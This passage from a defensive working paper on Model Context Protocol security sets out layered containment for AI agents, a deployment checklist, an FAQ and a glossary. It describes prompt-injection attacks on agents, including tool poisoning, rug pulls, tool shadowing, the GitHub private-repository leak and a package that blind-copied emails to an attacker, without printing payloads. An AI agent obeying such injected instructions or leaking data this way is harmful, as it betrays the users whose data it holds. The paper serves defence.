The comment I would hand to anyone designing an agent came from the GitHub thread: “if your LLM sees text from an untrusted source, I think you should assume that untrusted source can steer the LLM to generate any text it wants. If that generated text can result in tool calls, well now that untrusted source can use said tools too.” ( [Hacker News comment](https://news.ycombinator.com/item?id=44101120), May 2025.)[40] That is the whole threat model in two sentences.

## What has improved, and what the protocol cannot fix

In May 2026 the NSA’s AI Security Center published a 17-page information sheet on MCP alone. Photo: National Security Agency, Public domain, via [Wikimedia Commons](https://commons.wikimedia.org/wiki/File:National_Security_Agency_headquarters,_Fort_Meade,_Maryland.jpg)

It would be unfair to describe MCP as it was in April 2025 and stop there. The specification has taken security seriously, and several of the attacks above now have their own sections in it.

### The specification now names the attacks

The 2025-11-25 security best practices cover confused deputy attacks on proxy servers, forbid token passthrough, tell clients deployed on servers to mitigate server-side request forgery during OAuth discovery, and require any client offering one-click local installation to “show the exact command that will be executed, without truncation”.[39]

### The 2026-07-28 revision removed whole classes of risk

It removed protocol-level sessions and the Mcp-Session-Id header, the session identifiers that the earlier session-hijacking guidance was about; deprecated the Roots, Sampling and Logging features, so new implementations should not adopt sampling; required clients to validate the authorization server’s issuer when one is given; and bound client credentials to the authorization server that issued them.[46,5] Deprecated features keep working for at least twelve months.

### Governance and guidance caught up

MCP is now governed under the Linux Foundation’s Agentic AI Foundation, and the NSA, the NCSC and the Cloud Security Alliance have all published guidance.[4,12,6,45]

### What has not changed

Authorization is still optional.[7] Tool descriptions are still unauthenticated natural language that the specification itself says “should be considered untrusted, unless obtained from a trusted server”,[3] and the 2026-07-28 changelog adds no signing or integrity mechanism for them.[46] The Cloud Security Alliance’s May 2026 note concluded that the “protocol specification provides no native defenses against tool poisoning, rug pull attacks, or cross-server tool shadowing.”[45]

That last point is not a criticism of the maintainers. No message format can make a language model distinguish instructions from data. What a protocol can do is make containment easier, and the rest is up to the people who deploy it.

## How to secure an MCP deployment

Since the weakness cannot be removed, the design goal is that a successful injection reaches nothing worth stealing and has no way out. These are the layers I put in place.

No single layer here is complete. The point is that the holes do not line up. Photo: Peachyeung316, [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/), via [Wikimedia Commons](https://commons.wikimedia.org/wiki/File:A_slice_of_Emmental_Cheese.jpg)

Think of it as the familiar Swiss cheese model applied to agents: each layer has holes, and the work is making sure they never line up. The NSA’s recommendations follow the same logic: sandbox each tool’s execution with operating system controls such as AppContainers, seccomp, AppArmor or SELinux, apply least privilege to agent processes, route outbound connections through “a filtering outgoing proxy (e.g., Squid, tinyproxy) or an enterprise data loss prevention (DLP) solution”, and keep an inventory of every deployed agent and tool.[12]

A contained MCP deployment

Figure 7 practice

The architecture I recommend, combining the NSA’s controls[12] with Meta’s Rule of Two[8] and the pinning Invariant Labs proposed for tool descriptions.[13] A gateway is a single choke point: if it is misconfigured, everything is. Run it as production infrastructure, not as a plugin.

### 9.1 Split sessions so no one session holds all three

One way in, inspected, with the power to say no. That is what an MCP gateway is for. Photo: Martinvl, [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/), via [Wikimedia Commons](https://commons.wikimedia.org/wiki/File:Drawbridge_and_Portcullis,_Hever_Castle.jpg)

The single most effective change is to stop running one general-purpose agent with every tool. A session that reads untrusted content (triaging public issues, summarizing inbound mail, browsing) gets no private data and no write access. A session that touches private data reads only content you control. Where the two must meet, a person or a deterministic program carries the result across, not the model. That is Meta’s Rule of Two applied as a deployment rule rather than a model property.[8]

practice

In the GitHub case, a triage session allowed to read public issues and comment on them, but holding a token scoped to the public repository only, has nothing private to leak. The same user, with a separate session for private work, loses no capability. It loses only the attacker’s path.

### 9.2 Keep the data out of the model

An agent cannot leak what it never sees. Anthropic’s own guidance on code execution with MCP describes running tool calls inside a sandboxed program so that “intermediate results stay in the execution environment by default”, and having the client tokenize personal data “before it reaches the model”; in its example, the same task dropped from about 150,000 tokens to 2,000.[52] CaMeL, from Debenedetti and colleagues, goes further, extracting the control flow from the trusted request so that “untrusted data retrieved by the LLM can never impact the program flow”, and enforcing capability policies on every tool call. On the AgentDojo benchmark it solved 77 percent of tasks with provable security, against 84 percent for an undefended system.[53] Seven points of capability for a guarantee is a trade I would take for anything touching regulated data.

### 9.3 Contain each server, and own the exits

Treat each MCP server the way a laboratory treats a hazardous sample: inside a box that limits what it can touch. Photo: U.S. Department of Energy, Public domain, via [Wikimedia Commons](https://commons.wikimedia.org/wiki/File:CH_12_195_(26457307121).jpg)

Run every server in its own sandbox with no network route except through an egress proxy, no file system access beyond what the task needs, and no shared credentials. Watch the exits, not the prompts: an allowlist of destinations and inspection of payloads give you a chance to catch an unexpected sidenote argument or blind-copy field, whatever persuaded the agent or the server to send it.[12]

### 9.4 Treat MCP servers as identities and as software

Every server gets an owner, a version, a hash, an entry in an inventory and a reason to exist. Tokens are issued per session by a broker, scoped to the task and expire in minutes, following the specification’s own rules on audience and scope.[39] Servers come from an internal registry, are reviewed like any dependency that runs with user privileges, and are never fetched fresh at launch.

### 9.5 Log as if you will need to explain it

Every tool argument that leaves your network is an outbound channel, whatever the tool says it is for. Photo: Syced, [CC0](https://creativecommons.org/publicdomain/zero/1.0/), via [Wikimedia Commons](https://commons.wikimedia.org/wiki/File:Fujikura_optic_fiber_at_Science_Museum.jpg)

The NSA observed that “many implementations either omit logging entirely or record only minimal operational metadata.”[12] Log every tool call with its full arguments, the description hash in force, the session’s inputs and the destination of anything sent out. In every case in section 4, that log is the only place the leak would be visible.

## An MCP security checklist for any server going live

Each item is checkable, and most can be enforced by the gateway automatically. A server that fails any of the first six should not reach production.

The NSA asks for a clear inventory of every deployed MCP agent and tool, with versions and patch history. Photo: Tulumnes, [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/), via [Wikimedia Commons](https://commons.wikimedia.org/wiki/File:Tangled_telecom_wires.jpg)
- Inventory Every server, its owner, version, hash and the sessions that may use it, kept current.
- Full descriptions read and pinned A person has read every tool description in full; the hash is stored; any change blocks the server.
- Combinations reviewed For every set of servers enabled together, the trifecta is checked and the Rule of Two holds per session.
- Untrusted inputs mapped Every place a stranger can write text the agent will read is listed, and none feeds a session with private data and an exit.
- No static secrets Tokens are short-lived, per session, scoped to the task and bound to the server they were issued for.
- Pinned supply chain Installed from an internal registry at a reviewed version; no launch command can be edited by a user, a listing or the agent.
- Sandboxed execution Each server runs with least privilege and no direct network or file system access beyond its task.
- Egress allowlist Outbound traffic goes through a proxy with a destination allowlist and data loss prevention.
- Network exposure No server listens on 0.0.0.0; anything reachable over a network requires authentication and checks origin.
- Honest approvals Approval prompts show the complete call, untruncated, and are rare enough to be read.
- Complete logs Every call is logged with arguments, description hash and destination, and someone reviews them.
- Injection tests Planted instructions in issues, tickets, emails, invites and descriptions are run against the deployment, and the result is recorded.

## Who is responsible for what
- The team deploying the agent Declares every server, every combination and every untrusted input, and runs the injection tests.
- The platform team Runs the gateway, the sandboxes, the egress proxy and the secrets broker as production infrastructure.
- Security Owns the inventory, reviews descriptions and combinations, and watches the logs and the exits.
- The business owner Signs for which data each agent may touch, and accepts in writing what is left after containment.

The last role is the one that gets skipped. Prompt injection is not going to be fixed by a vendor update, so somebody with authority has to decide, in writing, which data an agent is allowed to be one clever paragraph away from.

## Common objections, and how I answer them

These are the objections I hear most from engineering leaders. Most of them start from something true.

### “We only install official servers.”

Official servers have shipped exploitable flaws, and poisoned data does not need a malicious server at all.

Anthropic’s own Filesystem server, Git server, MCP Inspector and Claude Desktop extensions all needed security fixes; GitHub’s official server was the vehicle for the private repository leak.

### “It runs locally, so the data never leaves.”

Local is a location, not a boundary.

A web page reached the MCP Inspector on localhost; hundreds of servers listened on every interface; a calendar invitation reached a local executor. And anything the agent sends to a remote tool has left.

### “Our users approve every tool call.”

Approvals showed summaries while payloads sat off-screen, and servers changed after approval.

Trail of Bits’ phrase for this is “human-as-the-rubber-stamp”.[10] Design so that a mistaken approval cannot reach private data and an exit together.

### “We use OAuth, so access is controlled.”

OAuth says who the agent acts for. It says nothing about who is giving it instructions.

In the GitHub and Supabase demonstrations every credential worked exactly as granted.[18,19] Authorization in MCP is also still optional.[7]

### “Frontier models refuse this kind of thing.”

In MCPTox, no agent refused more than 3 percent of poisoning attempts.[14]

The more capable models were often the more susceptible, and the GitHub demonstration used a model its testers called “highly aligned and secure”.[18] Instruction following is the vulnerability.

### “We’ll add a prompt injection filter.”

Add one, as a layer. Do not treat it as a boundary.

Willison: “in web application security 95% is very much a failing grade.”[11] General Analysis: a filter “cannot grant or restrict database permissions.”[19]

### “The vendor says it is working as designed.”

Then the risk is yours, by their own account.

By OX Security’s account, Anthropic called the STDIO behaviour expected; it placed the calendar attack outside its threat model.[36,20] OX Security’s reply: “Shifting responsibility to implementers does not transfer the risk. It just obscures who created it.”[36]

### “MCP is just a protocol. The real problem is the model.”

Both are true, and that is the argument for architecture over patches.

The model cannot separate data from instructions; MCP is how organizations now connect that model to everything. Neither will change soon, so the containment has to live around them.

## MCP security questions, answered briefly

### Is MCP secure?

Not by default. The specification says that “MCP itself cannot enforce these security principles at the protocol level” and that authorization is optional, and the NSA’s May 2026 guidance concludes that “MCP’s rapid proliferation has outpaced the development of its security model.” It can be run safely only with controls around it.[3,7,12]

### How does MCP leak data?

An agent reads tool descriptions, tool results and retrieved documents as one stream of text, and it cannot reliably tell information from instructions. When one session holds private data, untrusted content and a way to send data out, the combination Simon Willison calls the lethal trifecta, text written by an attacker can direct the agent to send that data out with permissions it legitimately holds.[6,11]

### What is MCP tool poisoning?

Instructions hidden in a tool’s description, which the model reads and the user usually does not see. Invariant Labs demonstrated it in April 2025, and the MCPTox benchmark measured an average attack success rate of 36.5 percent across 20 model configurations.[13,14]

### What is an MCP rug pull?

A server changing its tools or descriptions after a user has approved it, so the version that was reviewed is not the one running. Invariant Labs used one to exfiltrate WhatsApp chat history in April 2025, and Check Point found the same trust gap in Cursor (CVE-2025-54136).[15,16]

### Have real MCP data leaks happened?

Yes. In June 2025 a logic flaw in Asana’s MCP server could expose one organization’s data to others, affecting about 1,000 customers. From September 2025 the malicious postmark-mcp package blind-copied every email it sent to an attacker’s address. In March 2026 a flaw in nginx-ui’s MCP endpoint (CVE-2026-33032) was listed among actively exploited vulnerabilities.[23,30,29]

### Can prompt injection in MCP be fixed?

Not completely, by the vendors’ and agencies’ own accounts. The UK NCSC says prompt injection may never be “totally mitigated”, and OpenAI calls it “unlikely to ever be fully ‘solved’”. The practical goal is to limit what a successful injection can reach and where it can send data.[6,9]

### How do you secure an MCP deployment?

Keep any one session from combining untrusted input, private data and a way out (Meta’s Rule of Two); route every server through a gateway that pins tool descriptions; sandbox each server; send outbound traffic through a filtering proxy or data loss prevention, as the NSA recommends; and replace static secrets with short-lived, task-scoped tokens. Section 9 and the checklist give the detail.[8,13,12]

## Plain-language terms

MCP host

The application the user works in, such as a chat app, a code editor or an agent runtime.

MCP client

The part of the host that holds one connection to one MCP server.

MCP server

A program that offers tools, data or prompts to AI applications through the protocol.

Tool description

The text a server provides to explain what a tool does. The model reads it and follows it.

Prompt injection

Instructions placed in text an AI reads, so that it follows them instead of its intended task.

Tool poisoning

Prompt injection hidden in a tool’s description or other metadata.

Rug pull

A server changing its tools or descriptions after a user has approved it.

Tool shadowing

One server’s description changing how the agent uses a different server’s tools.

Toxic agent flow

A chain of legitimate tool calls, triggered by injected text, that ends with data in the wrong place.

Lethal trifecta

An agent with private data, untrusted content and a way to communicate externally, all at once.

Rule of Two

Meta’s design rule: no session should combine all three of those properties.

Confused deputy

A trusted program tricked into misusing its own authority on someone else’s behalf.

Token passthrough

A server forwarding a client’s token to another service instead of using one issued to itself. Forbidden by the specification.

STDIO transport

Running an MCP server as a local program that the host starts and talks to directly.

Sampling

An MCP feature letting a server ask the client’s model to generate text. Deprecated in the 2026-07-28 specification.

Egress control

Limiting and inspecting what is allowed to leave a network, and to where.

## References

Numbered in the order they are first cited. Every link was checked for this version when it was published. Vendor research is cited as the vendor’s own claim; where a primary source was not reachable, the reporting outlet is named.
1. Anthropic. “Introducing the Model Context Protocol.” 25 November 2024. Company disclosure [anthropic.com](https://www.anthropic.com/news/model-context-protocol)
2. Model Context Protocol. “What is the Model Context Protocol (MCP)?” Official documentation. Standard [modelcontextprotocol.io](https://modelcontextprotocol.io/docs/getting-started/intro)
3. Model Context Protocol. Specification, version 2026-07-28: “Security and Trust & Safety.” Standard [modelcontextprotocol.io](https://modelcontextprotocol.io/specification/2026-07-28)
4. Anthropic. “Donating the Model Context Protocol and establishing the Agentic AI Foundation.” 9 December 2025. Company disclosure [anthropic.com](https://www.anthropic.com/news/donating-the-model-context-protocol-and-establishing-of-the-agentic-ai-foundation)
5. Soria Parra, D., and Delimarsky, D. “The 2026-07-28 Specification.” Model Context Protocol Blog, 28 July 2026. Standard [blog.modelcontextprotocol.io](https://blog.modelcontextprotocol.io/posts/2026-07-28/)
6. National Cyber Security Centre (UK). “Prompt injection is not SQL injection (it may be worse).” 8 December 2025. Regulatory guidance [ncsc.gov.uk](https://www.ncsc.gov.uk/blog-post/prompt-injection-is-not-sql-injection)
7. Model Context Protocol. Specification, version 2026-07-28: “Authorization.” Standard [modelcontextprotocol.io](https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization)
8. Meta AI. “Agents Rule of Two: A Practical Approach to AI Agent Security.” 31 October 2025. Research [ai.meta.com](https://ai.meta.com/blog/practical-ai-agent-security/)
9. OpenAI. “Continuously hardening ChatGPT Atlas against prompt injection attacks.” 22 December 2025. Company disclosure [openai.com](https://openai.com/index/hardening-atlas-against-prompt-injection/)
10. Trail of Bits. “Jumping the line: How MCP servers can attack you before you ever use them.” 21 April 2025. Research [blog.trailofbits.com](https://blog.trailofbits.com/2025/04/21/jumping-the-line-how-mcp-servers-can-attack-you-before-you-ever-use-them/)
11. Willison, S. “The lethal trifecta for AI agents: private data, untrusted content, and external communication.” 16 June 2025. Commentary [simonwillison.net](https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/)
12. National Security Agency, Artificial Intelligence Security Center. Model Context Protocol (MCP): Security Design Considerations for AI-Driven Automation. Cybersecurity Information Sheet U/OO/6030316-26, version 1.0, May 2026. Regulatory guidance [NSA (PDF)](https://www.nsa.gov/Portals/75/documents/Cybersecurity/CSI_MCP_SECURITY.pdf) [Press release, 20 May 2026](https://www.nsa.gov/Press-Room/Press-Releases-Statements/Press-Release-View/Article/4496698/)
13. Beurer-Kellner, L., and Fischer, M. “MCP Security Notification: Tool Poisoning Attacks.” Invariant Labs, 1 April 2025. Research [invariantlabs.ai](https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks)
14. Wang, Z., Gao, Y., Wang, Y., Liu, S., Sun, H., Cheng, H., Shi, G., Du, H., and Li, X. “MCPTox: A Benchmark for Tool Poisoning Attack on Real-World MCP Servers.” arXiv:2508.14925, version 2, September 2026. Research [arxiv.org](https://arxiv.org/abs/2508.14925)
15. Invariant Labs. “WhatsApp MCP Exploited: Exfiltrating your message history via MCP.” 7 April 2025. Research [invariantlabs.ai](https://invariantlabs.ai/blog/whatsapp-mcp-exploited)
16. Charikov, A., Zaikin, R., and Vanunu, O. “MCPoison. Cursor IDE: Persistent Code Execution via MCP Trust Bypass” (CVE-2025-54136). Check Point Research, 5 August 2025. Vulnerability [research.checkpoint.com](https://research.checkpoint.com/2025/cursor-vulnerability-mcpoison/)
17. Hacker News. Discussion of “The ‘S’ in MCP Stands for Security.” Posted 6 April 2025; 730 points and 183 comments when checked in October 2026. Forum [news.ycombinator.com](https://news.ycombinator.com/item?id=43600192)
18. Invariant Labs. “GitHub MCP Exploited: Accessing private repositories via MCP.” 26 May 2025. Incident [invariantlabs.ai](https://invariantlabs.ai/blog/mcp-github-vulnerability)
19. General Analysis. “Supabase MCP can leak your entire SQL database.” 8 July 2025. Incident [generalanalysis.com](https://www.generalanalysis.com/blog/supabase-mcp-blog)
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## How to cite this paper

Please cite the stable URL below. It will not move. If the paper is revised, the version number changes and earlier versions stay listed here, so a citation always points at the text it quoted.

### APA (7th edition)

Rudd, I. (2026, October 1). Leaked without a breach: How the Model Context Protocol lets AI agents give your data away, and how to architect around it (Working paper, Version 1.0). https://drrudd.com/papers/mcp-security/

### Chicago

Rudd, Ian. 2026. “Leaked Without a Breach: How the Model Context Protocol Lets AI Agents Give Your Data Away, and How to Architect Around It.” Working paper, version 1.0, October 1, 2026. https://drrudd.com/papers/mcp-security/.

### IEEE

I. Rudd, “Leaked without a breach: How the Model Context Protocol lets AI agents give your data away, and how to architect around it,” Working paper, ver. 1.0, Oct. 1, 2026. [Online]. Available: https://drrudd.com/papers/mcp-security/

### BibTeX

```
@misc{rudd2026mcpsecurity,
  author       = {Rudd, Ian},
  title        = {Leaked Without a Breach: How the {Model Context Protocol} Lets {AI} Agents Give Your Data Away, and How to Architect Around It},
  howpublished = {Working paper, version 1.0},
  year         = {2026},
  month        = oct,
  day          = {1},
  url          = {https://drrudd.com/papers/mcp-security/},
  note         = {ORCID: 0000-0002-8750-285X}
}
```

| Version | Date | Change |
| --- | --- | --- |
| 1.0 | 1 October 2026 | First publication. |

### About the author

Ian Rudd, PhD, is a chief enterprise AI architect based in Canada. He has spent close to twenty years taking machine learning from the research lab into production, in federal government, banking, insurance, retail and transport, and in corporate AI research at IBM and Microsoft. His work is making AI systems that hold up in front of an auditor.

drrudd.com

https://drrudd.com/papers/mcp-security/ · Version 1.0 · 1 October 2026

## Image credits

Photographs and the painting are from Wikimedia Commons, used under the licences shown, resized and in some cases cropped for this page. They are illustrative: none depicts the specific events, products or organizations described beside it, except the NSA headquarters photograph, which shows the agency named. Icons are from [Lucide](https://lucide.dev) (ISC licence). Diagrams and charts are drawn for this paper.
- The Procession of the Trojan Horse in Troy (painting): Giovanni Domenico Tiepolo, about 1760, Public domain, [Giovanni Domenico Tiepolo - The Procession of the Trojan Horse in Troy - WGA22382.jpg](https://commons.wikimedia.org/wiki/File:Giovanni_Domenico_Tiepolo_-_The_Procession_of_the_Trojan_Horse_in_Troy_-_WGA22382.jpg)
- Two USB-C connectors: Logant547, [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/), [Two USB-C connectors being held.jpg](https://commons.wikimedia.org/wiki/File:Two_USB-C_connectors_being_held.jpg)
- Reading a dictionary through a magnifying glass: Joe Mabel, [CC BY-SA 3.0](https://creativecommons.org/licenses/by-sa/3.0/), [WTBBL magnifier 01.jpg](https://commons.wikimedia.org/wiki/File:WTBBL_magnifier_01.jpg)
- Marionette theatre, Plön: Jürgen Howaldt, [CC BY-SA 2.0 de](https://creativecommons.org/licenses/by-sa/2.0/de/deed.en), [PloenMarionetten 1.jpg](https://commons.wikimedia.org/wiki/File:PloenMarionetten_1.jpg)
- Persian carpet in a London shop window: Garry Knight, [CC BY-SA 2.0](https://creativecommons.org/licenses/by-sa/2.0/), [Persian Carpet.jpg](https://commons.wikimedia.org/wiki/File:Persian_Carpet.jpg)
- Wayang kulit shadow puppet performance: FaizAttariqi, [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/), [Pertunjukan Wayang Kulit.jpg](https://commons.wikimedia.org/wiki/File:Pertunjukan_Wayang_Kulit.jpg)
- Wall calendar: Claudio Elias, Public domain, [WallCalendar.jpg](https://commons.wikimedia.org/wiki/File:WallCalendar.jpg)
- Chemistry demonstration, Silesian Science Festival: Krzysztof Popławski, [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/), [8 Śląski Festiwal Nauki, MCK, Katowice,, 09.12.2024, 1256.jpg](https://commons.wikimedia.org/wiki/File:8_%C5%9Al%C4%85ski_Festiwal_Nauki,_MCK,_Katowice,,_09.12.2024,_1256.jpg)
- Corridor of wooden mailboxes: PattayaPatrol, [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/), [DFC 4646 Endless rows of sleek wooden mailboxes line a dimly lit corridor creating a modern symmetrical tunnel of everyday life.jpg](https://commons.wikimedia.org/wiki/File:DFC_4646_Endless_rows_of_sleek_wooden_mailboxes_line_a_dimly_lit_corridor_creating_a_modern_symmetrical_tunnel_of_everyday_life.jpg)
- Rusty padlock on a metal gate: Shixart1985, [CC BY 2.0](https://creativecommons.org/licenses/by/2.0/), [Rusty padlock securing an old metal gate.jpg](https://commons.wikimedia.org/wiki/File:Rusty_padlock_securing_an_old_metal_gate.jpg)
- Busy coffee shop, Gastown, Vancouver: Tim Gouw (Unsplash), [CC0](https://creativecommons.org/publicdomain/zero/1.0/), [Busy people at a coffee shop (Unsplash).jpg](https://commons.wikimedia.org/wiki/File:Busy_people_at_a_coffee_shop_(Unsplash).jpg)
- Postal clerk sorting letters: U.S. Air Force photo by Airman 1st Class Renee Nicole Finona, Public domain, [You’ve Got Mail- Liberty Wing Post Office Daily Ops (7770316).jpg](https://commons.wikimedia.org/wiki/File:You%E2%80%99ve_Got_Mail-_Liberty_Wing_Post_Office_Daily_Ops_(7770316).jpg)
- Bank of Canada vault, Diefenbunker: Dennis G. Jarvis, [CC BY-SA 2.0](https://creativecommons.org/licenses/by-sa/2.0/), [DSC01402 - Bank of Canada Vault (42902053170).jpg](https://commons.wikimedia.org/wiki/File:DSC01402_-_Bank_of_Canada_Vault_(42902053170).jpg)
- Rubber stamp and ink pad: 5snake5, [CC0](https://creativecommons.org/publicdomain/zero/1.0/), [Stempel, Stempelkissen, Stempelfarbe.jpg](https://commons.wikimedia.org/wiki/File:Stempel,_Stempelkissen,_Stempelfarbe.jpg)
- Rear of a data centre Ethernet patch panel: Kbh3rd, [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/), [Ethernet Patch Panel 20171121 130458.jpg](https://commons.wikimedia.org/wiki/File:Ethernet_Patch_Panel_20171121_130458.jpg)
- Opening an airlock hatch on the International Space Station: NASA Johnson Space Center, Public domain, [Astronaut Nichole Ayers opens the hatch to the Kibo laboratory module's airlock (iss072e861697).jpg](https://commons.wikimedia.org/wiki/File:Astronaut_Nichole_Ayers_opens_the_hatch_to_the_Kibo_laboratory_module%27s_airlock_(iss072e861697).jpg)
- NSA headquarters, Fort Meade: National Security Agency, Public domain, [National Security Agency headquarters, Fort Meade, Maryland.jpg](https://commons.wikimedia.org/wiki/File:National_Security_Agency_headquarters,_Fort_Meade,_Maryland.jpg)
- Slice of Emmental cheese: Peachyeung316, [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/), [A slice of Emmental Cheese.jpg](https://commons.wikimedia.org/wiki/File:A_slice_of_Emmental_Cheese.jpg)
- Drawbridge and portcullis, Hever Castle: Martinvl, [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/), [Drawbridge and Portcullis, Hever Castle.jpg](https://commons.wikimedia.org/wiki/File:Drawbridge_and_Portcullis,_Hever_Castle.jpg)
- Glovebox containment structure: U.S. Department of Energy, Public domain, [CH 12 195 (26457307121).jpg](https://commons.wikimedia.org/wiki/File:CH_12_195_(26457307121).jpg)
- Optical fibre distribution unit on display: Syced, [CC0](https://creativecommons.org/publicdomain/zero/1.0/), [Fujikura optic fiber at Science Museum.jpg](https://commons.wikimedia.org/wiki/File:Fujikura_optic_fiber_at_Science_Museum.jpg)
- Tangled telecom wires: Tulumnes, [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/), [Tangled telecom wires.jpg](https://commons.wikimedia.org/wiki/File:Tangled_telecom_wires.jpg)